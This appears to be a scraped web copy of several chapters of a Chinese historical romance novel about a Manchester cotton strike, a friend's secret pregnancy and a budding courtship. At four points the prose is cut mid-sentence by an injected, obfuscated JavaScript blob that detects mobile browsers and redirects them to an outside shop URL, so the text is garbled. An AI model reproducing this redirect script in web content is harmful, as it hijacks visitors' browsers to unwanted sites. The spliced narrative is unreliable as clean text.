“我们可不是宝宝,先生。”卡丽说,“我十岁的时候也经过一次工人抗议只不过没有那么多人,声势没有那么浩大。毕竟镇上能有多少人呢。” 迈尔斯也回来了,几人转至餐厅。 “迈尔斯,你回来的时候有没有遇见工人队伍?”狄默奇太太问。 “避无可避但是我不害怕。”迈尔斯无所谓地说,“我只是——很饿。” 他喝了几口奶油开胃汤,舒服地叹了一声:“经理显然知道些什么,昨晚就要求我们在制服里塞点棉花穿得厚实点,但是要我说这不可能持续几天的,他们当军队不存在吗?” “当你一无所有的时候你会害怕军队吗?”狄默奇先生问。 迈斯尔思考了一下,还是不屑地耸肩:“也许吧,但是我不会有那一天。” “爸爸,让我看看你带回来的报纸,上面说什么了?”黛芙妮伸手。 “明天要出版的内容,关于这次罢工的起因和工人的要求。”狄默奇先生把报纸给她,“工人要求政府干预棉花供应或提供失业保障,他们被激起了沉睡已久的血性。” “但是让政府干预棉花供应是为什么?”狄默奇太太问。 “美国南方战败导致国内出现棉荒,工厂大规模倒闭工人失业,他们要求政府加速从印度、埃及等殖民地扩大棉花进口从而稳定经济。除此之外也要求政府为他们提供保障,以防再次出现现在的情况。”狄默奇先生说。 “但是这些事不是几天就能解决的。”黛芙妮放下报纸说,言下之意是长远的要求可管不了现在的状况。 “有希望人就有前行的动力。”狄默奇先生说。 “那岂不是说他们还真要抗议好几天?”迈尔斯从自己的思索中惊醒,不可置信,“该死!” 黛芙妮皱眉,狄默奇夫妇也不大舒服地看了他一眼。 不过迈尔斯也算说对了,接下来的半个月里工人们每天都会在曼彻斯特几条主街游行,偶尔也会路过牛津路抵达运河支流,浩浩荡荡的呐喊和汹涌激荡的河流声足以把这场罢工运动喊到曼彻斯特之外。 阿德勒舅舅一家寄来信说伦敦也掀起了罢工浪潮,大概率是听到了独木难支的曼彻斯特工人的呼喊。 可惜大部分工厂主们纷纷关闭大门、装聋作哑摆出一副事不关己或不放在心上的样子来逃避。 不过这部分人也不是毫无回应,他们之间就推出过一位代表公开宣告:“拒绝!” 那些冷处理的大工厂主有庞大的资金可以耗得起,而耗不起的小工厂主却不能如此硬气。 不过他们同样和工人之间的团结一样,牢牢站在资本的一方。 在新的一期报纸上,有个工厂主说:“我们将拒绝减产保就业,也会在这个特殊时期考虑聘用德国、比利时或爱尔兰人上工。” 在工人更加暴躁甚至打上门的时候,又被迫缓和了说法:“根据经济学家纳索·威廉·西尼尔的核算理论,缩短工时如每天减少三小时,将造成一点四亿级卢布损失,将导致工人工资下降、生活水平恶化的情况。” 听起来是在为工人考虑,一些头脑不清楚的也就真的相信了,反抗的声音暂时平缓下来。 但是能掀起这么大火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759100|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰的罢工行为是不可能被几句话就扑灭的,只是恰好工人也需要休息。 如今双方都进入了短暂的冷却期。 “工人们马上又会亢奋起来,他们可没那么多时间和精力与资本冷战。”狄默奇先生说。 “可怜。”狄默奇太太叹息。 这个月教堂并没有组织任何的慈善活动,不仅是因为那些曾经慷慨的捐赠者更偏向自己的阶级,也因为另外能拿点东西出来的人在这个时候几乎不希望自己的名字被传出去。 狄默奇一家没有这样的想法,但他们能提供的帮助在大海面前如沙砾一样渺小,奥尔斯顿牧师说不公平的给予就是引起纷争的导火线,不论是罢工还是慈善。 这样一来黛芙妮和狄默奇太太不得不打消了某些念头。 “最近天空亮起来了,早晨没有那么昏暗了。”卡丽整理桌垫说。 “我不喜欢那些烟雾,但大概工人们是渴望的。”黛芙妮看着她的动作说。 主日这天狄默奇先生和迈尔斯都休息,这会儿他们也坐在沙发上。 “黛菲,你说如果我做个关于工人的访谈怎么样?”狄默奇先生靠在沙发上,一手摸索下巴,沉思道。 “一个不错的想法,我们可以把他们真正的需求告诉人们,也许可以帮助这场罢工快点结束。”黛芙妮说着兴奋起来。 “他们不就是要涨工资但是工厂主明确了这点,不可能。”迈尔斯烦躁地说。 “这段时间工厂主的损失不比工人少,他们也不希望再僵持下去,解决这场罢工是双方最渴望的。”黛芙妮说,“再说了条件是可以谈的。” “如果他们足够知趣就不会见天的打扰其他正常人的工作。”迈尔斯说,“歌剧院最近门可罗雀,他们需要钱来生活难道我就不需要了吗?谁来替我抗议!” “你怎么能这么想?”黛芙妮生气又震惊地看他,“每个人都可以为自己争取权益,你自己不做也就算了怎么还阻止别人去做?” “因为他们严重妨碍了我的生活,他们不满现在的生活但我很满意!他们的生活是生活而我的生活也是生活!”迈尔斯说,“你就看我有没有妨碍他们生活过?” 黛芙妮被他的想法气到说不出话:“可你又怎么确定你现在满意的生活不是从前他人打下的基础?如果所有人都那么自私——” “拜托,黛菲,我是你的家人,你确定要这么和我说话?”迈尔斯打断她。 “所以我是你表妹,你为什么不能让让我!”黛芙妮不服气地说。 两人瞪着眼睛谁也不服谁。 狄默奇先生轻咳:“一个人的成就是不可能超过他的认知范围的,你们知道我什么意思吗?” 迈尔斯认为狄默奇先生赞同他的想法,工人是不可能成功的。 黛芙妮却知道这话在说迈尔斯,瞧瞧他还以为自己得了支持的样子,她突然笑了一声,觉得自己之前的口舌完全白费了。 罢工还在继续,歌剧院被迫停业因为那些顾客害怕半路被人截了去,这下迈尔斯更是三句不离工人耽误他工作的话。 黛芙妮心里对他烦得很,就连一向对他十分怜爱的卡丽和狄默奇太太都受不了了。 45. 所见所闻 除了歌剧院还有一些离棉纺基地不远的高档场所都在这个时候选择关门,好在出版社一切正常。 并且还成了近期最热门的地方,不管是工人代表还是资本代表都频繁地联络出版社,希望能将有利自己一方的言论传播出去得到大众的认可。 如此一来就连只是学术顾问的狄默奇先生都不得不加班工作,工人拒绝的十四小时工时转移到了他们身上。 这天夜里,黛芙妮犯困地靠在沙发上,过度用脑让她比往常都早的开始低迷。 卡丽从楼下抱来她的针织篓,坐在圆凳上和狄默奇太太说话。 “太太,我真是受够迈尔斯了!”她瞪着眼睛拉扯手里的线,“要不是他姓康纳又喊你姨妈,我都要怀疑他才是那些讨人厌的资本家。” 连先生都不叫了可见这股气憋了有多久,如今有多大。 “迈尔斯大概还没适应,这几个月来在他身上发生了太多事了,我们得体谅他。”狄默奇太太自己也说得犹犹豫豫的。 “但是他现在对我的态度可从一开始的礼貌变成了呼来喝去,我可不是他的仆人!我是狄默奇家的仆人!”卡丽嚷嚷,“‘卡丽,帮我的衣服加点香薰然后熨烫整齐地挂在我房里’,‘卡丽,我需要温水’,‘卡丽,我想吃鸡肉卷明天别做牛肉饼了’,卡丽!卡丽!卡丽!烦得要命!” 黛芙妮被她的抱怨声吵醒,打了一个哈欠后说:“所以——迈尔斯欠你一句谢谢?” “当然!”卡丽狠狠点头,“他可不是一百零八号的主人!” 也就迈尔斯今晚又跑出去了她才敢这么大声地表达自己的不满。机会不易可不得抓紧好好发泄一通。 “而且他还不爱卫生,噢,小姐,你都不知道那房间走进去有多臭!惠特妮和我说她姥姥快死的时候屋里也是这样一股死耗子味。”卡丽说。 黛芙妮露出一个嫌弃的表情:“但是我没闻到迈尔斯身上有异味。” “因为他一周就要用掉一大瓶香水。还有他的个人作风问题——”说到这里卡丽放低了音量,“他还对惠特妮吹口哨呢,把惠特妮吓得好几天不敢一个人去二楼。” “真是吗?”狄默奇太太吃惊,这和她了解的看到的都太一样了。 同样没想到的还有黛芙妮:“天呐,是真的吗?” “你们认为一个女人还是一个胆小的未婚女人会拿自己的名节开玩笑吗?”卡丽说,“不过我也没亲眼看见过,只是有几次确实能遇上迈尔斯前脚出现后面就是惠特妮的情况。” 狄默奇太太十分生气地放下瓷杯:“我会和迈尔斯谈谈的,如果他要正经的追求一位女士我不会反对但绝不能做流氓的行为。” 黛芙妮想到上次迈尔斯得意的话,忍不住和面前两人分享:“上次迈尔斯告诉我他和一位小姐发展得不错,你们认为可能是惠特妮吗?” 卡丽放下手里的织针,立马说:“不可能!他看不上惠特妮,他自认为有点家产。这就是他为什么只是调戏而不是追求。” 狄默奇太太追问:“他有透露是哪位小姐吗?” 黛芙妮摇头:“他本不打算说的也就不会透露多少,只不过我瞧他十分有信心。” “他有了情人还去撩拨惠特妮,男人都不老实。”卡丽义愤填膺地拍了一下她的膝头,“当然这和先生没有关系。” 黛芙妮现在对迈尔斯是一点喜爱的情绪都没有了,她最讨厌的就是不正直的人。 如今迈尔斯的所作所为竟然让她想到安娜,太可怕了。 “太太,迈尔斯什么时候搬出去?”卡丽重新拿起织针问。 这个问题为难到了狄默奇太太:“我们不可能主动将迈尔斯赶出去的,他是我妹妹唯一的儿子,从肯特郡跑来投奔我们……” “所以我搞不懂,为什么他不去参军呢?如果我是男人有这个机会早就裹着包袱上路了,怎么还会选择在歌剧院工作。真不知道他怎么想的。”卡丽说。 她说起这个,黛芙妮忍不住开口:“妈妈,迈尔斯信奉上帝的事——他不是虔诚的。” “我知道,”狄默奇太太无奈地说,“我知道,但是我们不可以把迈尔斯赶出去。” 还好他是教徒这件事没人宣扬过,不然他一定会被牧师批评的。 “总不会他将来结婚还得在这栋房子里吧?天呐,我不愿想象这种情形,我会晕过去的!”卡丽翻起白眼来。 “这不可能。”狄默奇太太觉得荒谬地笑出声。 这个主日,黛芙妮和狄默奇太太照常坐马车前往教堂,同样的迈尔斯还是没来他耍聪明一早就出门了。 教堂来了很多人但几乎看不到穿着鲜亮的体面家庭,黛芙妮母女算是意外了。 艾乐穿了一身粗棉布衣裙比从前都要来得简朴,但她的情绪非常高昂,在见到黛芙妮母女的时候挤开围着她的人群走来。 “嘿!狄默奇太太,黛芙妮。我还以为这礼拜你们不会来。”艾乐说。 “我们没有那么多的想法,只是来参加主日,”狄默奇太太说。 “我知道,这里也确实是个好地方。”艾乐看了一圈教堂说。 三人坐下。 “你们怎么样?”黛芙妮问。 “并不好但都不是问题,只要我们坚持。”艾乐说这话的时候眼睛亮得吓人,“我们没有可以失去的,而且我们还有领导人。” 黛芙妮没问领导人是谁,但她有猜测觉得很可能是有过一面之缘的科尔。 “奥尔斯顿牧师决定取消慈善活动,最主要的原因还是没人愿意对我们伸出援手。”艾乐说。 认为她意有所指的黛芙妮和狄默奇太太对视一眼,狄默奇太太说:“亲爱的,我们很想要做什么但是我们拿不出太多钱了。” “我不是这个意思。我也从来不把你们和那些人放在一起。其实饥饿和窘迫有时候会激发人的愤怒,而我们最需要的就是这个怒火。”艾乐说,“何况为了这次的罢工,我们也不是什么都没准备。” “恳请上帝平息这场纷争,让所有人都得到应得的报酬。”狄默奇太太叹气。 看来这场罢工还得持续好一段时间,不过好在是有准备的不是临时的,有组织的活动更具理智和想法,想来他们能为自己争取到一定的权益。 因为罢工事件外面冷清了许多连垃圾工人都消失了,街面上充斥着一股萧条的气味。 狄默奇先生早出晚归,迈尔斯也早出晚归,前者好歹是去工作后者就不知道了。 “大概是去约会了。”卡丽说着偷偷看了眼在一旁擦柱子的惠特妮。 惠特妮放下抹布:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773470|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先下去了。” 卡丽咂咂嘴。 黛芙妮甩甩脑袋把这些事都放到脑后,换上可以招待客人的裙子等待桑席和贝拉的到来。 上次桑席邀请过她后,回来她就在计划组织下午茶的事。 叮铃铃,卡丽拉开大门。 桑席和贝拉一前一后进来。 “下午好,狄默奇太太,黛芙妮。”她们说。 “贝拉,桑席,漂亮的姑娘们。每次一见到你们我的心情都会变得美丽。”狄默奇太太说。 她笑容可掬地招待贝拉和桑席几句,将空间留出来和卡丽去了小会客室。 “桑席,你的病还没好吗?”黛芙妮一看桑席的脸就蹙起眉头。比上次见得还要惨白,精神很不好,连白粉都没办法将她奇差无比的脸色掩盖。 “我怀疑你不是感冒,没有感冒会持续这么久。”贝拉说。 桑席笑笑:“我真的没事。我们不说这个,你们最近还好吗?这里是工人游行会经过的地方。” 加尔顿宅在街尾的一处小岔路口,正好避过游行的队伍。 “他们除了吵闹以外也不会上门要求我们必须给谁投票站位。”贝拉看到了客厅角落的那架钢琴,“黛芙妮,你们什么时候买了钢琴?” “前段时间,我爸爸的一个惊喜。”黛芙妮高兴地站起来说要为她们表演一曲。 缓和了气氛,三人有说有笑地闲谈。 贝拉拿起一块布丁,打量了桑席说:“虽然生病了但庆幸的是没有影响你的胃口,你胖了。” 就这样一句话直接让桑席的笑容消失,失手打翻了红茶。 “噢!天呐!”贝拉狼狈地提起裙摆险险躲过飞溅的茶水。 黛芙妮喊了一声惠特妮让对方拿来毛巾,接着扶起呆愣和惊恐的桑席让她坐到另一边。 刚刚的好气氛一瞬间收了回去,惠特妮刚处理好桑席就站起来说身体不适要先回去。 等她走后,贝拉不解又不高兴的:“她怎么了?只是因为我说了一句她胖了?” 黛芙妮抬起头,心里很突然地划过一个可能,然后和贝拉四目相对。 她瞪大眼睛:“不可能的!她怎么敢的!” 两人谁也说不出来,越想越可怕。 贝拉也坐不住了匆匆离开。 黛芙妮在沙发上坐立难安,未婚先孕这个可怕的猜想如雷一样震响她的头脑。 先不说社会上的排斥,就说桑席的身份,本来就没有嫁妆没有亲近的家人了居然还发生这样的事,这不就是走在前往地狱的途中吗? 她知道那些带着孩子没有钱财的妇女过得有多可怜,连教堂都是不敢随意踏入的,要是遇到激进的教徒被人赶出去更是平常。 最让她疑惑和费解的是,桑席怎么看都没有那个胆子做出这样的事。 所以,她想会不会是自己想错了? 狄默奇太太后来问她怎么贝拉和桑席这么快就离开的时候,黛芙妮一秒就决定将这件事尘封在心底,她随便找个借口敷衍过去。 过后有些悲哀地想,现在自己的撒谎次数和水平居然越发熟练了。 晚上的餐桌上,她有些心不在焉地品尝嘴里的鱼肉。 狄默奇先生宣布了一个消息:“我决定以工人为主题做个专栏!” 46. 震惊的消息 自从狄默奇先生有了这样的想法后,每天忙得连吃饭时间都开始挤压,不过他乐在其中且深觉得自己责任重大。 与他一起的还有库克先生,他们常常选择徒步的方式去大街小巷询问工人最真实的愿望,不仅将它们记录下来还将所见所闻也一同写下来。 越是查访越是心惊,狄默奇先生叹气的次数直线上升。 黛芙妮帮不上什么忙,唯一能做的就是支持他们的决定,正好支持也是两位先生最需要的。 今天她有一个约定,桑席再次向她发出邀请函请求和她们一见。 黛芙妮很犹豫,她不知道自己的猜测是否正确也就不知道该怎么自然地面对桑席,同时也对这种还未足够熟悉和喜爱就能直接了解对方深层的感情感到进退两难。 在她做好准备坐在加尔顿会客室的沙发上时,桑席一句“我怀孕了”差点吓她跳起来。 比她镇定些的是贝拉,她一把拉住黛芙妮的手将那股冲动拽在手里。 桑席紧张地盯着她们,不停地吞咽口水,没有血色的嘴唇和凹陷泛青的眼睛无一不昭示着她的认真和纠结。 该怎么形容黛芙妮的那种感觉呢?最能让人看懂的描述就是,她现在的震惊这一情绪比安娜背叛她的那天要纯粹。 贝拉缓了好几下才小心翼翼地开口:“你什么时候结了婚?” “我没有。”桑席摇头默默的哭出了声,她不敢让外面的人听见,拼命地压制自己的情绪,双手搭在嘴巴上。 “那你打算什么时候结婚?”黛芙妮发誓她说这话的时候真的是非常艰难的,对方的行为踩在信仰的边缘,一旦越界她不敢保证自己是否会起身离开。 桑席的泪珠大得像珍珠一样清晰完整地落下,很快身上鹅黄色的裙子如绒布般将它们盛在怀里。 她又摇头。 黛芙妮缓缓捂住嘴,两条腿像空心的竹子,自己都不知道它们还存不存在又能否站起来。 “它父亲是谁?”黛芙妮问。 桑席说孩子的父亲是曼彻斯特的一位工厂主。 贝拉立马就问为什么不结婚。 桑席忍住呕吐的欲望:“他一个多月前说去法国出差但是到现在都没回来。” “他是不幸遭遇了意外还是?”黛芙妮问。 “我不知道,我现在完全联系不到他,我又不敢让姑妈知道。我想求你们帮帮我。”桑席往地上一跪。 黛芙妮和贝拉立马把她拉起来,虽然很同情她但是她的请求她们也不一定帮得到。 “你想让我们怎么帮你?桑席你必须得知道这样的丑闻一旦被发现你会有什么样的下场。”贝拉说,“如果那位先生不幸遇难,你最好的结局就是堕胎再嫁。这一切还得越少人知道越好。” “我不相信他会死!”桑席咬牙,“只要联系上他,我们会结婚的……如果真的没有,我会的……” 她未完的话明显是她会堕胎的。 “天呐,它——它胎动了吗?”黛芙妮捂脸,她只能接受胎动前堕胎。 贝拉一口气顶在胸口:“黛芙妮,只有怀孕四个月以上才会胎动,桑席到这里才几个月?” “是的。”黛芙妮猛地松气,感觉好受多了罪恶感一下子去了大半。 “所以,那位先生叫什么?”贝拉问桑席。 “奥斯本,他叫奥斯本·德里奇!”桑席脸上带着希冀,“三十二岁。” “他住在哪里?”贝拉问。 黛芙妮若有所思。 桑席张张嘴说不出话来:“我,我不知道。” “你都不知道他住在哪里?那你们是怎么怀上的?”贝拉说起这个脸红得要命,声音也越来越低。 桑席很不好意思:“每次约会都是他来接我,在乔尔顿一栋公寓里。” 越问越不妙,贝拉都不知道该说什么了:“曼彻斯特那么大,除了几位大工厂主的名字其他人我都不知道,这需要打听。” 黛芙妮在桑席说出那位先生的名字时就陷入了回忆,她这会儿终于想起来了:“我听到过这个名字,在艾肯先生家里。” 看到焦急的桑席和追问的贝拉她继续说:“我只是听他们说了一句,那个时候的德里奇先生应该还没有出国,所以——” 她同情地看向桑席。 “黛芙妮,我想见他一面。”桑席愣神道。 “桑席,这个要求我办不到,我根本不认识那位先生。”黛芙妮为难地说,“而且他也不是艾肯先生的客人。” “那你是听谁说的?”贝拉问。 “怀特先生、毕晓普先生还有路威尔顿先生,他们说起工人的事。”黛芙妮说。 “黛芙妮求你帮帮我,我知道你和路威尔顿先生有往来,你能帮我找他问问奥斯本的住址吗?我只要一个住址。”桑席哭得快说不出话了。 黛芙妮可怜她的遭遇又同情她肚子里的孩子,实在不忍心看着她和孩子走上绝路,虽然在她看来未婚先孕本身就有一条腿跨出了安全区。 良心难安,最终她还是同意了。 “但是我不确定路威尔顿先生愿不愿意告诉我,还有我也不能保证他不会想到什么毕竟他是位敏锐、成功的先生。”她说。 回去的路上,她和贝拉愁容满面。 “加尔顿太太要是知道,会把桑席赶出去吗?”贝拉小声嘀咕。 “太太虽然严厉但应该不至于做得如此狠心。”黛芙妮说,“我最没想到的是我们的猜测成真了,桑席她真的——” “她不是个心思杂乱的人,很明显她被骗了。”贝拉叹气,“你打算怎么问路威尔顿先生?” “我听说过几天有一个画展巡演到了曼彻斯特,也许我可以约他去那儿。”黛芙妮说。 虽然有了计划但实施起来不是一星半点的困难,约对方见面就是一大难题。 如果是上个月她都不用绞尽脑汁地想办法和对方说上几句,可谁让如今那位先生已经很久没来一百零八号了。 听狄默奇先生说路威尔顿先生最近忙得很,正在处理工人罢工的事情。 这么说来对方大概是没时间和她见面的还是关于对他而言不重要的事,但桑席的肚子又不能停止生长,没办法她只能一咬牙偷偷将那封信交给了路过的邮差。 不过她运气很好,第二天一大早就与那位先生碰面了,他来找狄默奇先生。 “早安,先生。”黛芙妮上前两步说。 “早安,黛芙妮小姐。”路威尔顿先生很正经地脱帽鞠躬。 “有段时间没见到你了,康斯坦丁。”狄默奇先生本准备出门的被路威尔顿先生的到来打断了计划。 “工作上的事不得不由我亲自监督。”路威尔顿先生说,“我今天正好路过牛津路,便来和你们打声招呼。” “快进来。卡丽,倒杯茶来!”狄默奇先生说。 黛芙妮跟上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785232|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐在狄默奇先生的旁边。 不知道路威尔顿先生会不会同意她的邀请?她心里忐忑不安。 “那些工人罢工,你的订单怎么处理?”狄默奇先生问。 “库存足以支撑到这件事结束。”路威尔顿先生说。 “方便我问问吗?你们是怎么看待这次罢工活动的。”狄默奇先生犹豫地问。 “生活不会停下,时间不会暂停。”路威尔顿先生淡淡地说,“他们迟早会妥协。” 狄默奇先生蹙眉,他又问:“所以你们的对策是?” 路威尔顿先生看了眼低头、搅动手指的黛芙妮,说:“一些人认为不能露出一丝一毫的犹豫否则会使工人有了希望奋起反抗;另一些人同样认为不能同意,不过他们提出了提高临时工的工资或聘请低价的爱尔兰人、比利时人来代替本地工人的计划。” “你呢?先生。”黛芙妮抬起头问,十分认真地注视他。 “最后一类认为可以做出适当的改变。”他用那双黑眼睛盯着黛芙妮慢吞吞地说。 狄默奇先生和黛芙妮松开打结的眉毛,心里都认为自己没看错人。 “先生,你今天不去出版社了吗?”道奇等不到人,从大门走进来问。 “噢,天呐!我差点忘了。”狄默奇先生立马站起来,“康斯坦丁恐怕我今天是无法招待你了。我现在不得不更努力地奔波。” “我也要走了。”路威尔顿先生同样站起身。 黛芙妮急了,她频频看向路威尔顿先生。 狄默奇先生拿起帽子率先走出一百零八号,路威尔顿先生迟了两步。 “先生!”黛芙妮等狄默奇先生走出门立马喊了一声。 见路威尔顿先生停下看他,她走上前小声说:“你看了我的信吗?” 脸颊泛红,虽然她没有那个意思但怕会给对方造成误解,想解释又不能说,这会儿面对面的越发觉得当初答应桑席的时候还是太草率了。 万一路威尔顿先生认为她是个轻浮的女人怎么办?或是会错意地以为她对他有好感怎么办? 康斯坦丁那颗剧烈跳动的心从昨晚一直忙活到现在。其实他每天都会路过一百零八号但是他没有那么多的理由踏入这里。 近来更是拜那些工人所赐,他每天必须花费大量的时间去参加那些讨人厌的会议。 “是的。如果你同意五天后的下午我会来接你。”他一手捏紧了手杖,一手紧贴裤腿。 “那太好不过了。”黛芙妮也不敢看他,难为情的情绪来得很快也让她无措。 两人谁也不说话就这样面对面站着。 康斯坦丁比黛芙妮大胆,也仗着身高可以肆无忌惮地用眼睛来记录。 也不知道游行有没有吓到她,她看着憔悴了,身上这件衣服一看就是旧的是不是因为工人不敢去裁缝店转转。 但是即便这样她还是如此的可爱。 “路威尔顿先生?”直到狄默奇太太从楼上下来。 “太太。”他使劲拨开粘连在黛芙妮身上的眼神,转向狄默奇太太。 “你是来找约翰的?” “是的,我已经见到了,这会儿打算离开。”他戴上帽子,“打扰了。” 黛芙妮在妈妈来的时候莫名其妙地松气,刚刚的氛围变得好奇怪,居然让她说不出话来也无法尊重地对上路威尔顿先生的眼睛。 等对方离开,几个呼吸她恢复了平静。 47. 画展 在路威尔顿先生来过的第二天,一大波偷渡来的爱尔兰人和比利时人抵达了曼彻斯特,他们穿着破烂拎着薄薄的布袋,小心翼翼、惊恐交加的如一排排待宰的鸭子被驱赶进四四方方黑不溜秋的铁笼里。 机器再次运作起来,飘飘扬扬的棉絮重返天空。 但这种平和仅仅维持了一天,在第三天晚上曼彻斯特的工人们联合起来声势浩大地将棉纺基地包围,更有不少人爬过工厂的铁丝网冲到里面将那些外国工人抓起来不准他们工作,甚至极端的还要破坏机器表示决心。 工厂主气得要命,大声咒骂、联合警官都没用。 因为他们的举动彻底惹恼了工人,而好不容易开工的机器又被迫关闭,这下连那些观望的从不把工人放心上的大工厂主们都明白这回没那么容易解决了。 狄默奇先生今日吃过晚餐又将自己锁在了书房,他忙碌地核对每一条内容。 如今街上萧条得很,市集也不如往常热闹,再迟钝的人也知道最近曼彻斯特处于战火中,打人事件频频发生。 所以当黛芙妮说明天要去看画展的时候,狄默奇太太声音特别响:“我亲爱的黛菲,街上现在很混乱,也许我们可以过段时间再去?” “可是妈妈我已经约好了,再说了明天是画展在曼彻斯特的最后一天。”黛芙妮为难道。 “你还没和我说,你和谁去?”狄默奇太太只好问另一个问题。 “我——我和——”黛芙妮磕磕绊绊地开口,“几个朋友。” “谁?”狄默奇太太明显有些疑虑。 “桑席、贝拉。” “只是你们三个吗?” “还有摩西。” 听到有男性陪同前往狄默奇太太才同意,不过她还是希望黛芙妮明天能早点回来。 “当然。”黛芙妮立马点头。 第二天,她出于一种自己也不太明白的心思,换上了本季度做的最后一条新裙子,一条玫红色的高领衣裙。 挑挑拣拣戴上白色的平顶礼帽,上面还别着鲜花、羽毛和丝带。 此刻,早早打扮好的黛芙妮焦急地站在大会客室的窗户后面,一会儿看看街道一会儿又注意家里佣人和妈妈的动向。 昨天在说出是桑席和贝拉的时候她就后悔了,因为一百零八号没人不知道路威尔顿先生的马车长什么样。 不过在和单独与男性出去约会的真相比,她还是隐瞒了事实。 所以等会儿她必须趁路威尔顿先生没下车敲门前、卡丽等人没看到,的间隙赶紧冲出去。 这一来二去地想,总算是让她等到了。 那辆崭新的四轮大马车稳稳停在路边,黛芙妮匆匆跑到通往地下室的楼梯处喊了一声:“卡丽,我走了!” “什么?”卡丽抬起头,手上还拿着两个清理蜘蛛网的毛掸子没反应过来。 黛芙妮提上裙摆,拉开大门,噔噔噔噔地往马车冲去。 “小姐——”车夫才刚打开车门想让路威尔顿先生下来,就被黛芙妮抢先上去了。 路威尔顿先生猛地收回脚,有些吃惊。 黛芙妮把车门关上前对车夫说:“快动起来!” “发生什么事了?”路威尔顿先生不解,他今天特地带了不少昂贵的礼物打算亲自交给狄默奇太太。 “我——”黛芙妮睁大眼睛,努力狡辩,“实在是迫不及待地想要早点见到威廉·布朗的画了。” 坐在对面的那位先生盯着她看了几秒,有些犹豫是否立刻离开。 他蹙起的眉头似乎在告诉黛芙妮,他没那么容易被打发。 黛芙妮见马车迟迟不走,余光克制不住地往窗外看生怕被狄默奇太太和卡丽发现。 “先生?我让你太为难了是吗?”她故意露出小心翼翼的表情,说着要去开车门。 一般来说女性做出这样的姿态男士应该顺着说下去,而不是做出咄咄逼人或进攻的样子。 果然路威尔顿先生立马用手杖敲响了车壁,让车夫动起来。 渐渐驶离一百零八号,黛芙妮才有多余的情绪为自己刚刚的神情感到羞涩,她解释道:“今天是威廉·布朗的画在曼彻斯特的最后一下午,我实在是期待很久又担忧这点时间不够好好欣赏每一幅画作才如此急迫。” 路威尔顿先生喉结微动,他依旧是紧绷的只不过往后靠了一点,他一手摩挲手杖上精美的蓝宝石一边不动神色地回话。 “原来你也喜欢威廉·布朗的画。”他说。 “我喜欢风景画。”黛芙妮说。其实她压根没怎么关注过这位近几年风头还不错的画家。 车厢开始变得沉默,不过好在画展场地离牛津路不远,他们到了。 车夫将马车停靠在路边,路威尔顿先生先下去他伸出手像那一次一样扶黛芙妮下来。 然后两人并排走进眼前的红砖建筑内。 画展就在三楼。除了两个工作人员,居然一个客人都没有。 黛芙妮想大概是想来的都来过了,才如此冷清。 正好人少方便一会儿说事。 他们慢悠悠地踱步到《樱桃堆》前,黛芙妮偷偷看了一眼身侧那位身材高大的先生。 虽然他一如既往地没什么表情但她有种直觉,他现在心情还不错。 “你——” “您——” 两人同时开口又都停下,黛芙妮诧异地抬头:“先生,您先说。” 他撇过脑袋,又看向眼前的画:“我没想到你会邀请我。” 说一个谎就要用另一个谎来补救,也不知道主会不会因为她的目的而原谅她。 黛芙妮忧心地低下脑袋:“迈尔斯和爸爸都没有时间陪我来,而我在曼彻斯特也没有什么相熟的先生,更何况我觉得我们——” 她捂住脸实在是说不下去了,脸红过身上的衣服颜色。 “你——认为我们是朋友?”不知道为什么路威尔顿先生说这话的时候有种阴沉沉的感觉。 “不是朋友的话,又有什么关系能让我们单独在这里呢?”黛芙妮磕磕绊绊地说。 “呵。” 黛芙妮揉了揉耳根,一点也没心思看画作,她斟酌道:“是不是我让您困扰了?朋友只是我的想法,您不愿意的话当然——” 康斯坦丁幽幽地通过面前的画看向那个模糊的身影:“我没有哪个朋友叫我 ——路威尔顿先生。” “嗯,康斯坦丁。”她很尴尬不敢抬头,双手不停地蹂躏手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797171|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕上的细绳,“你也可以叫我黛芙妮。” “黛——芙妮。”他其实更想叫她黛菲,那会让他浑身的血液都开始滚烫。 “嗯。”她笑了一下。 